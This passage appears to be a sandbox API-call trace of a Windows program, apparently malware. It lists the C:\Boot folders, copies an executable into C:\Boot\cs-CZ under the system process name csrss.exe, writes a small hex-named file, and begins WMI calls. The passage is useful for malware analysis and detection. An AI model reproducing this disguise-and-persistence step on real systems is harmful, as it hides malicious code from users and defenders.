[0067.050] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4d5f1480, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4d5f1480, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0067.053] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0067.053] FindClose (in: hFindFile=0x11f5bf0 | out: hFindFile=0x11f5bf0) returned 1 [0067.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0067.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0067.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0067.054] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0067.054] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5bf0 [0067.055] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.055] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0067.055] FindNextFileW (in: hFindFile=0x11f5bf0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0067.056] FindClose (in: hFindFile=0x11f5bf0 | out: hFindFile=0x11f5bf0) returned 1 [0067.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0067.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0067.059] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0067.059] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\csrss.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\csrss.exe", lpFilePart=0x0) returned 0x17 [0067.059] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe"), bFailIfExists=0) returned 1 [0067.218] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\886983d96e3d3e", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\886983d96e3d3e", lpFilePart=0x0) returned 0x1c [0067.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0067.218] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\886983d96e3d3e" (normalized: "c:\\boot\\cs-cz\\886983d96e3d3e"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x248 [0067.219] GetFileType (hFile=0x248) returned 0x1 [0067.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0067.219] GetFileType (hFile=0x248) returned 0x1 [0067.219] WriteFile (in: hFile=0x248, lpBuffer=0x29433a8*, nNumberOfBytesToWrite=0x269, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x29433a8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x269, lpOverlapped=0x0) returned 1 [0067.221] CloseHandle (hObject=0x248) returned 1 [0067.223] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0067.223] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0067.223] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0067.223] IUnknown:Release (This=0x111f638) returned 0x1 [0067.226] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3e500) returned 0x0 [0067.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e500, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0067.226] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e500, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3a800) returned 0x0 [0067.226] WbemDefPath:IUnknown:Release (This=0x1bf3e500) returned 0x0 [0067.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3a800) returned 0x0 [0067.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0067.227] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0067.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0067.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0067.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3e540) returned 0x0 [0067.227] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.227] WbemDefPath:IUnknown:Release (This=0x1bf3e540) returned 0x3 [0067.227] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0067.227] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0067.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0067.227] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0067.227] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0067.227] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0067.227] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, 